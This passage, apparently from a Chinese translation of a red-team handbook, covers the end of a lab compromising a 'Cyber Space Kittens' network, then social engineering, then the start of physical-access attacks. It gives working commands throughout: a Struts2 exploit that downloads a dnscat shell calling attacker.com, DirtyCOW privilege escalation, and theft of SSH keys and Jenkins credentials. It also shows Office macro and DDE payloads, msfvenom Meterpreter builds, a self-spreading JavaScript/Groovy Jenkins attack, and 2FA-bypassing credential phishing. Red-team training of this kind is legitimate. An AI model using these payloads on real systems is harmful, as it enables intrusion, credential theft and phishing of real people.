/opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 服务器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 记录你的密钥 打开新终端并加载 Metasploit msfconsole 搜索 struts2并加载 struts2漏洞 search struts2 use exploit/multi/http/struts2_content_type_ognl 配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。确保在前面更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一旦 payload 执行,你将不会在 Metasploit 中得到任何确认,因为我们使用了 dnscat 的 payload。你需要检查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。 回到 dnscat2服务器上,检查新执行的 payload 并创建一个 shell 终端。 与第一个 payload 进行交互 window -i 1 生成 shell 进程 shell 用键盘按钮返回主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 命令 ls 你已经入侵了 OpenCMS/Apache Struts 服务器!现在要做什么?你需要花一些时间检查服务器并寻找有趣的信息。你想起来服务器正在运行 OpenCMS Web 应用程序,并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时,我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。 检索数据库信息: cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties 我们成功连接到数据库了,但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户,这确实阻碍了我们的攻击。因此,我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是,此服务器容易受到权限提升漏洞 DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录! Escalation 提升 dnscat 权限: 下载并编译目录: cd /tmp wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 漏洞利用的稳定性,并允许内核崩溃时重新启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami 注意:DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题,请查看我的 Github 页面,在这里了解创建 setuid 二进制文件的更稳定的过程: https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到初始服务器,并以 root 身份执行 dnscat payload。要登录,请使用凭据 hacker/changeme 登录系统并使用 sudo-su 获得 root 权限。 现在,由于主机系统上没有补丁,你已经成为系统的 root 用户。当你再次开始为敏感信息翻阅系统文件时,你会看到 root 的 bash 历史文件。在这个文件中,你可以找到 SSH 命令和私有 SSH 密钥来源。我们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30: cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa [email protected] 你花了一些时间在第二个系统上,试着理解它的用途。在四处搜索时,你注意到在 /home 目录中有一个 Jenkins 用户,它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容?这就是 dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell,去命令终端。从那里,我们需要设置一个监听器,通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。 执行 dnscat 端口转发: 退出现有的 shell Ctrl + z 返回我们的第一个命令代理并设置一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 虚拟机上,使用我们的端口转发代理打开浏览器并打开下面的地址(这将比 dns 慢一些): http://127.0.0.1:8080/jenkins 在 Jenkins 应用程序内的凭证管理器内部,我们将看到 db_backup 用户密码已存储,但不可见。 我们需要弄清楚如何从 Jenkins 中获取此凭据,以便我们可以继续横向移动。 n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究( http://bit.ly/2GUIN9s )。 我们可以使用现有的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文件。 返回 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 我们可以尝试关闭这些文件,或者我们可以将这些文件作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml 我们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果我们回顾一下之前的注释,我们会在 OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据:利用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库服务器。唯一的问题是通过我们的 dnscat shell,我们没有直接按标准输入(STDIN)来与 SSH 的密码提示进行交互。 因此,我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数据库服务器(172.16.250.50)。 回到命令 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库服务器 listen 127.0.0.1:2222 172.16.250.50:22 一旦使用 db_backup 帐户进入数据库服务器(172.16.250.50),我们会注意到此帐户是 sudoers 文件的一部分,并且可以 sudo su 到 root。 一旦 root 在数据库服务器上,我们将四处寻找也找不到任何访问数据库的凭据。我们可以重置 root 数据库密码,但最终可能会破坏其他一些应用程序。相反,我们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,我们找到 secrets.ibd 文件,其中包含 secrets 表的所有数据。在我们阅读数据时,我们意识到它可能是加密的...由你来执行剩下的操作... 恭喜!!!你已成功入侵 Cyber Space Kittens 网络! 不要止步于此...你可以用这些系统做很多事情;我们现在只触及了表面。随意在被入侵的系统上翻阅,找到更敏感的文件,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示: 本章总结 在本章中,我们经历了入侵网络的一系列操作。 我们开始在外部网络上没有任何凭据或利用社会工程的方式入侵到我们的第一个受害者系统。从那里开始,我们能够利用目标系统本身的应用程序,获取有关网络和主机系统的信息,横向移动,权限提升,并最终攻陷整个网络。这一切都是建立在最少程度的扫描,利用网络特性,并试图逃避所有检测机制之上完成的。 第5章 助攻——社会工程学攻击 开始社会工程学攻击行动 作为红队队员,我们钟爱社会工程学攻击。不仅因为它通常包含低技能攻击,而且因为它也很容易以非常低的成本来策划一场值得我们高度信赖的战役。只需设置几个假域名、服务器、策划一些电子邮件、假装丢掉一些 bad USB,然后就可以结束一天的工作了。 译者注: 这里提到的低技能攻击, 原文是 low skillset attacks,我的理解是无需太多技能的攻击,比如踩点、垃圾收集...... 在衡量的指标方面,我们一般用捕捉到的明显的信息,例如发送的电子邮件数量、点击了钓鱼链接的用户数量以及键入密码的用户数量。我们也试图发挥创意,为雇用我们的公司带来实质性价值。这方面的一个例子是 DefCon 会议举办的的社会工程学竞赛,在这个竞赛中参赛选手要通过社工的方式来入侵公司和雇员。如果你不熟悉这个竞赛的话,那我简略地介绍一下:参赛选手们需要在有限的时间内针对目标公司找到一些 flag。通过获取公司信息,如他们的 VPN 、他们使用的杀毒软件类型、员工的特定信息或让员工访问钓鱼 URL 等方法,可以捕获 flag。如果你想查看比赛中的使用的所有 flag,请查看2017年的比赛报告:http://bit.ly/2HlctvY 。 这些类型的攻击可以通过教导员工学会发现恶意行动并向相关负责团队报告从而帮助公司提高内部安全意识。 在本章中,我们将粗浅的接触一些用来进行社会工程学攻击的工具和技术。对于社会工程学攻击,没有正确或错误的答案。只要能发挥作用,在我们的书里就是好的。 近似域名(Doppelganger Domain) 在上本书中我们讲了很多关于近似域名的内容。如今近似域名仍然是获取初始凭证或者植入恶意软件的最成功方法之一。最常用的技术是购买一个与目标公司的URL非常相似的域名,或者是目标公司 URL 的一个常见拼写错误的域名。 在上一本书中,我们举了一个例子,如果我们的目标公司有 mail.cyberspacekittens.com 这个域名,我们将购买 mailcyberspacekittens.com 这个域名,并设置一个假的 Outlook 页面来获取登录凭证。当受害者进入假网站并输入密码时,我们会收集这些数据并将其重定向到公司的有效电子邮件服务器(mail.cyberspacekittens.com)。这给受害者留下这样的印象:他们只是第一次意外地输错了密码,因此,再次输入正确密码并登录他们的帐户。 这种方法最巧妙地一点是你甚至不用做任何网络钓鱼的操作。因为有些人就是会打错域名或者手误漏掉 “mail” 和 “cyberspacekittens” 之间的点(.),然后进入了错误的网页并输入他们的登录凭证。我们会提示让受害者把我们的恶意网站添加为书签,这样可以让受害者每天都访问我们的恶意网页。 如何克隆验证页面 快速克隆Web应用程序登录验证页的最佳工具之一是 TrustedSec 公司开发的社会工程学工具包(Social Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社工活动的标准工具包。你可以从 https://github.com/trustedsec/social-engineer-toolkit 下载这个工具包。 配置 SET: 将 SET 配置为使用 Apache(而不是默认的 Python ) 将配置文件按照以下内容修改: gedit /etc/setoolkit/set.config APACHE_SERVER=ON APACHE_DIRECTORY=/var/www/html HARVESTER_LOG=/var/www/html 启动 SET: cd /opt/social-engineer-toolkit setoolkit (1) Spear-Phishing Attack Vectors (鱼叉式钓鱼攻击) (2) Website Attack Vectors(网站攻击) (3) Credential Harvester Attack Method (凭证收集攻击方法) (4) Site Cloner(站点克隆器) 输入你的攻击服务器的 IP 克隆目标站点 打开浏览器,转到攻击服务器并测试 所有文件都会被储存在 /var/www/html 文件夹下,密码存储在 Harvester* 下。下面是社工活动中克隆页面时的一些比较好的做法: 搭配使用 Apache 服务器 + SSL 把所有图像和资源移到本地(而不是从被克隆的站点调用) 就我个人而言,我喜欢使用我的 PGP 公钥来存储所有记录的密码。这样,如果服务器受到入侵,就无法在没有私钥的情况下恢复密码。PHP gnupg_encrypt 和gnupg_decrypt 支持这一做法。 使用双因素验证的身份凭证 我们看到越来越多的客户使用双因素认证(2FA),对于红队来说双因素认证是一个巨大的麻烦,因为它们不可能被随意绕开。在以前我们必须创建一些定制化的页面,这样可以处理其中的一些情况。但现在我们有了 ReelPhish,这是 FireEye 公司制作的一个工具。当受害者在我们的钓鱼网页上输入登陆凭证时,ReelPhish 允许红队利用 Selenium 和 Chrome 来自动触发双因素验证。 ReelPhish: 克隆需要双因素认证的攻击目标站点。 使用你的攻击工具箱,解析登录到真实站点的流量。在我的例子中,我打开了 Burp Suite 来获取身份验证所需要的所有 post 参数。 修改克隆站点,使其使用 ReelPhish。访问 /examplesitecode/samplecode.php 并输入你的身份验证所需的所有必要参数。 受害者进入克隆站点并进行身份验证。 凭证被传输到攻击者手中。 ReelPhish 将在真实站点进行身份验证,触发双因素验证。 受害者收到双因素验证的验证码或电话验证。 受害者被重定向到真实站点重新登录(他们会认为他们在第一次登录时登陆失败了)。 如下图所示,我们现在应该有一个经过身份验证了的会话来绕过双因素验证。虽然 ReelPuish 看起来很像是支持 Linux ,但我在 Kali 中运行它时遇到了一些问题。所以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多关于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。 还有一些其他工具可以处理不同的双因素验证绕过的情境: https://github.com/kgretzky/evilginx https://github.com/ustayready/CredSniper 还有一件事,当对需要双因素认证的网络资源进行身份验证时,请确保你在得到身份凭据后要尝试使用多种不同的身份验证方法。我的意思是,一些产品可能在 Web 门户网站的身份验证页面使用了双因素验证,但在 API、旧的客户端或所有的应用程序终端上可能并没有使用双因素验证。我们已经看到许多应用程序在公共终端上要求双因素验证,但在应用程序的其他部分则缺乏相应的安全保护。 网络钓鱼 另一个红队已经用之取得了巨大成功的技术是传统的网络钓鱼。网络钓鱼的秘诀在于激发受害者的恐惧感或者紧迫感,有时也会向受害者描绘一些非常美好(甚至不太真实)的诱惑。我相信你以前肯定见过一些恐惧感和紧迫感确发挥巨大威力的情境。利用受害者恐惧和紧迫心理进行攻击的一些例子包括: 一封带有欺诈性购买的虚假电子邮件 有人黑进了你的电子邮件消息 有关税务欺诈的电子邮件 这些一般性攻击的问题是,我们已经注意到公司员工变得越来越聪明。通常,每10封基本钓鱼式攻击邮件中至少有1封会被上报。在某些情况下,比例甚至更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些简单的网络钓鱼攻击,看看公司在对这些情况的响应方面是不是有所进步。 对于那些寻求自动化钓鱼攻击的人,我高度推荐 Gophish。Gophish 非常易于设置和维护,并且支持模板和 HTML,另外它还会跟踪和记录你所需的一切。如果你是 Ruby 的粉丝的话,Phishing Frenzy就是一个使用 Ruby 语言写的很好的工具。当然,少不了的也有用 python 语言写的工具,King Phisher 就是使用 Python 开发的。 这些自动化工具非常适合记录简单的网络钓鱼活动。但是对于我们的目标活动,我们得采用更加手工化的方法。例如,如果我们对受害者的邮件记录进行了一些侦察,了解到客户使用 Office365 ,那么我们就可以思考一下如何利用这个信息来策划一场具有高可行度的入侵行动。此外,我们还试图寻找该公司泄露信息的电子邮件,从中来捕捉任何其他可能有帮助的信息,包括他们可能正在运行的程序、新的特性、系统升级、代码合并等等。 我们有时还会开展更具针对性的行动。在这些行动中,我们尝试使用所有的开源工具来搜索有关人员及其财产、家庭等的信息。例如,针对一些公司高管,我们会在 pipl.com 上搜索他们,获取他们的社交媒体帐号,找出他们的孩子上学的地方。然后我们向他们发送一封欺骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要做完这一系列事情可能要花费很长时间,但好处在于成功率很高。 Microsoft Word/Excel 宏文件 虽然是很老旧,但向受害者发送恶意的 Microsoft Office 文件仍然是久经考验的一种社会工程学攻击方法。那为什么 Office 文件非常适合作为恶意 payload 的载体呢?这是因为 Office 文件的默认设置是支持 VBA 代码所以允许 VBA 代码的代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但在经过混淆处理之后,在很多情况下仍然可以生效。 在最基础的水平上,我们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏: 使用 Empire: 选择 Macro Stager usestager windows/macro 确保进行正确的配置 info 创建宏 generate 如果你想为 Meterpreter 创建一个 payload ,我们可以使用像 Unicorn 这样的工具: cd /opt/unicorn ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro 启动一个 Metasploit Handler msfconsole -r ./unicorn.rc 一旦生成成功,你的 payload 将如下所示: 如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档: 打开 Excel 转到视图选项卡(View Tab) - >宏 - >查看宏 添加一个宏名称,为 book1 配置宏,然后单击 “创建” 用生成的代码替换所有当前的宏代码 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件 现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。 如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word 文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。 我们可以用 LuckyStrike 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用 Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE 来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容: https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator 我想提到的用于 Office 文件执行的最后一个工具是 VBad。运行 VBad 时,必须在 Office 中启用宏,并在宏安全设置的下拉框中选择 “信任对 VBA 项目对象模型的访问” 选项。这会允许 VBad 运行 python 代码来更改并创建宏。 VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。 非宏的 Office 文件 —— DDE 有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。 什么是 DDE? “ Windows 提供了几种在不同的应用程序之间传输数据的方法。其中一种方法就是使用动态数据交换(DDE)协议。DDE 协议是一组消息和指南。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。应用程序可以使用 DDE 协议进行一次性数据传输。并且应用程序也可以利用 DDE 协议来进行持续的数据交换,当新数据可用时候,应用程序可以通过持续的数据交换来彼此发送更新。” [ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ] Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都暴露了 DDEExecute,并且可以在不使用宏的情况下创建代码执行。 在 Word 中: 转到“插入”选项卡 -> “快速部件” -> “字段” 选择 = 公式 右键单击:!Unexpected End of Formula 并选择 Toggle Field Codes 将 payload 替换为你的 payload: DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]” Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置: usestager windows/macroless_msword 资源: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 除了 0day 漏洞利用(例如 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何能利用的特性呢? 答案是肯定的。虽然我们不会在本书中介绍它。其中一个例子是 subdoc attacks。这些攻击导致受害者向网络上的攻击服务器发出 SMB 请求,以便收集 NTLM Auth Hash(NTLM 验证哈希)。 这种攻击并不是在所有场景里百分百生效,因为大多数公司现在阻止 SMB 相关端口连接外网。对于那些还未进行此种配置的公司,我们可以使用 subdoc_inector 攻击来利用这种错误配置。 隐藏的加密 payload 作为红队队员,我们一直在寻求使用创造性的方法来构建我们的登陆页面,加密我们的 payload,并诱导用户点击运行。具有类似过程的两个不同工具是 EmbededInHTML 和 demiguise。 第一个工具 EmbededInHTM,该工具的描述是“ 获取文件(任何类型的文件),加密它,并将其作为资源嵌入到 HTML 文件中,还包含模拟用户点击嵌入资源之后的自动下载进程。然后,当用户浏览 HTML 文件时,嵌入式文件即时解密,保存在临时文件夹中,然后将文件展示给用户。这一系列过程会让用户感觉该文件像是从远程站点下载来的。基于用户的浏览器和显示的文件类型,浏览器可以自动打开文件。” cd /op/EmbedInHTML python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w 一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的.xll文件。不幸的是,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技巧了。 第二个工具是 demiguise,描述是“ 生成包含一个加密的 HTA 文件的 .html 文件。该工具的思路是,当你的目标访问该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其直接推送给用户。这是一种隐匿技术,可以绕过由某些安全设备进行的的内容/文件类型的检查。但是此工具并不是为了创建优秀的 HTA 内容而设计的。在 HTA 内容方面还有其他工具/技术可以帮助你。demiguis 希望帮助用户的是:首先让你的 HTA 进入一个环境,并且(如果你使用环境键控)避免它被沙盒化。 python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -p Outlook.Application -o test.hta 利用社会工程学攻破内网 Jenkins 作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。 这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。 我们怎么样才能在这些服务器上远程执行代码? 在我们可以回答这个问题之前,我告诉我的团队先退后一步,用 Jenkins 构建一个副本网络进行测试。 一旦我们很好地理解了代码执行请求的功能,我们现在可以构建合适的工具来获得远程命令执行(RCE)。 面对这种情况,我们通过使用 JavaScript 和 WebRTC(Web实时通信)的一系列步骤解决了这个问题。首先,我们需要一个属于目标组织的受害者来访问一个我们拥有的公开网站或是我们存储了 XSS payload 的网页。一旦受害者访问我们的公开站点,我们将在他的浏览器上执行 JavaScript 从而运行我们的恶意 payload 。 此 payload 会利用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通信)公开受害者的内网 IP 。 通过内网 IP ,我们可以推断出受害者的计算机的本地子网,以了解其公司 IP 范围。 现在,我们可以使用我们特制的 Jenkins 漏洞利用通过 Jenkins 默认的8080端口在他们的网络范围内对每一个 IP 发起攻击(这段代码只扫描本地 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围设置的比这个大很多)。 如果你玩过 Jenkins Console shell ,你就知道它有点难搞,因此能够持续获得复杂的 PowerShell payload 可能会很困难。 为了解决这个问题,我们为本书创建了一个名为 generateJenkinsExploit.py 的工具 ,该工具将获取任何二进制文件,对其进行加密,并构建进行恶意攻击的 JavaScript 页面。当受害者访问我们的恶意网页时,它将获取其内网 IP 并开始将我们的漏洞利用传播到 /24 范围内的所有服务器。当它找到易受攻击的 Jenkins 服务器时,此攻击将发送一个 Groovy 脚本的 payload 来从 internet 上抓取加密的二进制文件,将其解密为一个文件放到 C:\Users\Public\RT.exe 下,并执行 Meterpreter 二进制文件(RT.exe)。 在概念上(如下图所示),这与服务器端请求伪造 (SSRF)非常相似,我们强制受害者的浏览器重新启动与内网 IP 的连接。 受害者访问我们存储的 XSS 或恶意 JavaScript 的页面。 受害者的浏览器执行 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对本地内部网络发起攻击。 找到一个 Jenkins 服务器后,我们的 Groovy 代码将通知 Jenkins 服务器从攻击者的服务器获取加密的 payload ,然后解密并执行二进制文件。 在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。 Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。 注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对脚本进行无验证调用),并且未启用身份验证。 完整的 Jenkins 漏洞利用实验: 我们将构建一个 Jenkins Windows 服务器,以便我们可以复现此攻击。 在本地网络上安装具有桥接接口的 Windows 虚拟机。 在 Windows 系统上,下载并安装 JAVA JDK8。 下载 Jenkins war 包: http://mirrors.jenkins.io/war-stable/1.651.2/ 启动 Jenkins : java -jar jenkins.war 浏览器打开 Jenkins: http://<Jenkins_IP>:8080/ 测试 Groovy 脚本控制台: http://<Jenkins_IP>:8080/script 在 THP Kali 虚拟机上利用 Jenkins: 译者注:专门为本书开发的集成了所有环境的 Kali 虚拟机,本书第一章有介绍。THP 就是 The Hacker Playbook,本书的英文简称。 下载 THP Jenkins 漏洞利用工具( http://bit.ly/2IUG8cs )。 要执行该实验,我们首先需要创建一个 Meterpreter payload: msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe > badware.exe 加密我们的 Meterpreter 二进制文件: cd /opt/generateJenkinsExploit python3 ./generateJenkinsExploit.py -e badware.exe 创建我们的恶意 JavaScript 页面命名为badware.html: python3 ./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted > badware.html 将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录: mv badware.html /var/www/html/ mv badware.exe.encrypted /var/www/html/ 现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:http://<attacker_IP>/badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用 JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。 任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。 本章总结 社会工程学攻击是一种类似于猫捉老鼠的游戏。这种攻击在很大程度上依赖于人的因素,并瞄准人性中恐惧、紧迫和易于轻信等弱点。通过利用这些人性的漏洞,我们可以创建非常巧妙的入侵行动,这些入侵行动在系统攻击方面具有很高的成功率。 在衡量标准和目标方面,我们需要从消极等待用户、报告钓鱼网页/钓鱼电子邮件等的相关数据这样的反应模型中跳脱出来,转而采用主动模式。我们可以积极狩猎、主动发起包括但不限于以上介绍的这些类型的恶意社工攻击。 第6章 短传——物理访问攻击 作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检查他们的门和安保设施是否合格。在得到了授权的前提下可以进行现场测试,以确定他们警卫的反应和响应时间。 快速说明:在进行任何物理评估之前,请务必与当地、州和联邦法律核实。例如,在密西西比州、俄亥俄州、内华达州或弗吉尼亚州,仅仅是持有开锁工具就可能是犯法的。我不是律师,所以你最好先咨询一下专业法律人士。此外,确保你获得适当的批准,尽量与该机构的物理安全团队协同工作,并有一个书面的免责核准文件,以防被警察抓到后需要承担额外的法律责任。在实际参与之前,要与该机构的物理安全团队讨论如果保安抓住你,你是否可以逃跑,或是立马停止。以及还要注意,该公司是否安装了无线电监听。最后,确保警卫不会将你的试验行动上报到当地执法部门,毕竟谁都不想去蹲号子。 现在,是时候侵入 Cyber Space Kittens 的秘密基地了。从他们网站上预留下来的信息看,他们的实际位于 299792458 Light Dr。利用谷歌街景做了一番侦察后,我们注意到他们有一个大门,还有一两个警卫室。在翻越栅栏前,我们需要了解多个可能的进入点和进入区域。通过初步观察,我们还发现了一些摄像头、门、入口点和读卡器系统。 ID 卡复制器 上一版书里,讲了很多有关 ID 卡复制器的东西,所以在本书中我将把重点放在更新的内容上。在大多数情况下,那些由 HID 公司生产的、不需要任何私有/公开握手认证的感应卡,我们仍然可以很轻易地克隆它们,并暴力破解它们的 ID 号。 上一版书里,我提到了我很喜欢复制 ProxCard Ⅱ 卡,因为它们没有任何保护措施,所以易于克隆。并且 ProxCard Ⅱ 卡一般都可以成批购买,用来暴力破解,简直再方便不过。破解的过程都是基于 Proxmark3 工具完成的。现在,它发布了一个主打便携的新型号,叫 Proxmark3 RDV2 Kit。新版的可插电池用,并且体积也小巧很多。 还有一些常见的可供破解的卡: HID iClass (13.56 MHz) HID ProxCard (125 kHz) EM4100x (125 kHz) MIFARE Classic (13.56 MHz) 可以参考这篇博客了解更多:RFID Hacking with The Proxmark 3 绕过入口点的物理工具 本书不会深入研究物理工具及其操作方法,因为纸上得来终觉浅,若要真正深入了解物理工具及其操作方法,实践是最好的老师。进行物理评估的最佳方法,一直都是实践、建立物理实验环境,搞清楚哪些方法可行,哪些不可行。我来盘点一下过去我们团队用过的一些很酷的工具: Lock Picks —— SouthOrd 公司生产的开锁工具一直是我们的首选。质量好,效果好。 Gate Bypass Devices —— 用来绕过锁着的门的工具。 Shove-it Tool —— 简单的工具,用于门和门闩之间有足够的空间的情况下。类似于贴卡打开感应门,你使用此工具拉开锁里的活塞。 Under the Door 2.0 —— 拉开带有手柄的门的工具。我们可以用 Under the Door 工具从门下直接进去,绕着把手,然后往下拉。在过去酒店中经常会安装这种门,但我们肯定也会在业务中遇到这种门。 Air Canisters —— 这是一个价格便宜又构造简单的工具,可以通过内部的运动传感器打开门锁。看看这段视频,看看 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE 记住,使用这些工具和物理评估的目的是跟踪并监控公司物理安全的问题,并得到反馈。因此,我们不仅要确保充分记录了系统中的缺陷,还要考察事件的响应时间和处理措施是否是可以接受的。 LAN Turtle LAN Turtle 是我最喜欢的工具之一,由 Hak5 公司生产。前书中我们研究了如何把树莓派和 ODROID 作为攻击武器:给这些设备安装 Kali Linux 系统,让它们通过 SSH 或者 VPN 连接到我们的攻击者机器中,这是做物理渗透测试的一个好方法。 多年来,这些工具一直在不断进步。现在,LAN Turtle 小巧到可以藏在任何设备的后面,依赖 USB 供电,让用户难以轻易觉察。LAN Turtle 的 USB 网卡可代理以太网的所有流量。 LAN Turtle 还有一个无线蜂窝版(支持SIM卡),暂且不提。 设置 LAN Turtle: LAN Turtle 的目的是取代 